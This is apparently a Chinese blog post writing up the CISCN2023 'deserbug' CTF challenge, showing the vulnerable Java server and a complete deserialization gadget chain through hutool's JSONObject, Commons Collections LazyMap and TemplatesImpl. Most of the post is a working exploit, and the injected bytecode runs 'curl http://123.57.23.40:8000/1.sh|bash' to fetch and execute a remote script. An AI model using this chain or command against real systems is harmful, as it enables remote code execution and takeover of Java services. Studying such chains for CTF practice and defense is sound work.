CISCN2023 Deserbug

这是在一道题目中遇到的情境.也是第一次自己调出来一个java的链子题.

CISCN2023 deserbug

Testapp.java

package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
    public static void main(String[] args) {
        HttpUtil.createServer(8888)
                .addAction("/", (request, response) -> {
                    String bugstr = request.getParam("bugstr");
                    String result = "";
                    if (bugstr == null)
                        response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
                    try {
                        byte[] decode = Base64.getDecoder().decode(bugstr);
                        ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
                        Object object = inputStream.readObject();
                        result = object.toString();
                    } catch (Exception e) {
                        Myexpect myexpect = new Myexpect();
                        myexpect.setTypeparam(new Class[] { String.class });
                        myexpect.setTypearg((Object[])new String[] { e.toString() });
                        myexpect.setTargetclass(e.getClass());
                        try {
                            result = myexpect.getAnyexcept().toString();
                        } catch (Exception ex) {
                            result = ex.toString();
                        }
                    }
                    response.write(result, ContentType.TEXT_PLAIN.toString());
                }).start();
    }
}

MyExpect.java

package com.app;

import java.lang.reflect.Constructor;

public class Myexpect extends Exception {
    private Class[] typeparam;

    private Object[] typearg;

    private Class targetclass;

    public String name;

    public String anyexcept;

    public Class getTargetclass() {
        return this.targetclass;
    }

    public void setTargetclass(Class targetclass) {
        this.targetclass = targetclass;
    }

    public Object[] getTypearg() {
        return this.typearg;
    }

    public void setTypearg(Object[] typearg) {
        this.typearg = typearg;
    }

    public Object getAnyexcept() throws Exception {
        Constructor con = this.targetclass.getConstructor(this.typeparam);
        return con.newInstance(this.typearg);
    }

    public void setAnyexcept(String anyexcept) {
        this.anyexcept = anyexcept;
    }

    public Class[] getTypeparam() {
        return this.typeparam;
    }

    public void setTypeparam(Class[] typeparam) {
        this.typeparam = typeparam;
    }

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

同时引入了cc3.2.2和hutools依赖,题目提示:

1 . cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
2. jdk8u202

进行分析:首先我们想到cc3.2.2中加入了黑名单,对invokerTransformer进行了过滤.看到MyExpect.java中存在getAnyexcept方法,可以触发任意的构造方法.因此联想到了我们在cc3中使用到的TraxFilter,虽然InstantiateTransformer在cc3.2.2中被黑名单屏蔽,但是可以使用getAnyexcept去进行替代.
如何调用这个getAnyexcept方法呢,题目中又给了提示,可以使用JSONObject中的put方法去调用,进行一个简单的测试:

TemplatesImpl templatesimpl = getTemplatesImpl();  
  
Myexpect myexpect = new Myexpect();  
myexpect.setTargetclass(TrAXFilter.class);  
myexpect.setTypeparam(new Class[]{Templates.class});  
myexpect.setTypearg(new Object[]{templatesimpl});  
  
JSONObject json = new JSONObject();  
json.put("test", myexpect);

发现能够成功的去执行命令.
而在AspectjWeaver链中我们提到过LazyMap的get方法除了可以调用transform方法以外,还可以调用put方法.后半部分的利用链直接使用AspectjWeaver的就行.
因此写出poc如下:

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

import java.io.*;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static TemplatesImpl getTemplatesImpl() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"curl http://123.57.23.40:8000/1.sh|bash\");");
//        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "RANDOM");
        setValue(templates, "_tfactory", null);
        return templates;
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesimpl = getTemplatesImpl();

        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templatesimpl});

//        JSONObject json = new JSONObject();
//        json.put("test", myexpect);

        Map outmap = LazyMap.decorate(new JSONObject(), new ConstantTransformer(myexpect));
        outmap.get("test");

        TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        serial(poc);
//        unserial();
    }

    public static void serial(Object obj) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out2 = new ObjectOutputStream(bos);
        out2.writeObject(obj);
        byte[] bytes = bos.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }

    public static void unserial() throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }

    public static void setValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
posted @ 2025-02-18 18:36  colorfullbz  阅读(65)  评论(0)    收藏  举报